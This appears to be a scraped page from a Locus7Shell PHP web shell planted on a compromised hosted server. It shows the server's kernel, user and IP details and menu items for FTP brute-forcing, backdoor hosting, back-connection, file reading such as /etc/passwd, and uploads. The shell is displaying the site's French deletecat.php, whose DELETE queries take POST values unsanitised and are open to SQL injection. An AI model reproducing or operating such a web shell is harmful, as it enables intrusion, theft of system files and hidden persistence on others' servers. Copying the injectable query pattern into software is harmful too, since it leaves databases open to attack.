Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     deletecat.php (2.63 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<p class="Style3">SUPPRESSION CATEGORIE</p>
<?php
//connection à la database
include ("connect.php");
$date date("Y-m-d");
if (isset(
$_SESSION['identifiant'])){
   
$user $_SESSION['identifiant'];
   if (
$user){
 
    if (isset(
$_GET['delete']))
    {
    
$dgenre $_POST['Genres'];
    
$despece $_POST['Especes'];
    
$dsubdivision $_POST['Subdivision'];
    
$dnature $_POST['Nature'];
    
$deletquery1 mysql_query("DELETE FROM genre WHERE ID='$dgenre'");
    
$deletquery2 mysql_query("DELETE FROM espece WHERE ID='$despece'");
    
$deletquery3 mysql_query("DELETE FROM subdivision WHERE ID='$dsubdivision'");
    
$deletquery4 mysql_query("DELETE FROM nature WHERE ID='$dnature'");
    echo 
'<br><span class="Style2">Suppression réussi.</span>';
    
    }
   else{
   echo 
"<form action='index.php?page=deletecat&delete=1' method='POST' enctype='multipart/form-data'>
   <select name='Genres'>
                   <option value='NOT'>----- Genres -----</option>"
;
              
$get mysql_query('SELECT * FROM genre ORDER BY genre');
              while (
$row mysql_fetch_assoc($get))
                   {
                    
$cat $row['GENRE'];
                    
$idcat $row['ID'];
                    echo 
"<option value=".$idcat.">".$cat."</option>";
                    }       
                     echo 
"</select> 
                    
                    <select name='Especes'>
                   <option value='NOT'>----- Especes -----</option>"
;
              
$get mysql_query('SELECT * FROM espece ORDER BY espece');
              while (
$row mysql_fetch_assoc($get))
                   {
                    
$cat $row['ESPECE'];
                    
$idcat $row['ID'];
                    echo 
"<option value=".$idcat.">".$cat."</option>";
                    }       
                     echo 
"</select> 
                    <select name='Subdivision'>
                   <option value='NOT'>----- Sub-division -----</option>"
;
              
$get mysql_query('SELECT * FROM subdivision ORDER BY subdivision');
              while (
$row mysql_fetch_assoc($get))
                   {
                    
$cat $row['SUBDIVISION'];
                    
$idcat $row['ID'];
                    echo 
"<option value=".$idcat.">".$cat."</option>";
                    }       
                     echo 
"</select> 
                    <select name='Nature'>
                   <option value='NOT'>----- Nature Catégorie -----</option>"
;
              
$get mysql_query('SELECT * FROM nature ORDER BY CATEGORIE');
              while (
$row mysql_fetch_assoc($get))
                   {
                    
$cat $row['CATEGORIE'];
                    
$idcat $row['ID'];
                    echo 
"<option value=".$idcat.">".$cat."</option>";
                    }       
                     echo 
'</select><input type="submit" name="supprime" value="Supprimer">';
      }
 
 }
else
    echo(
"Vous devez être connecté2.");  
}
else
    echo(
"Vous devez être connecté3."); 
?>

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0054 ]--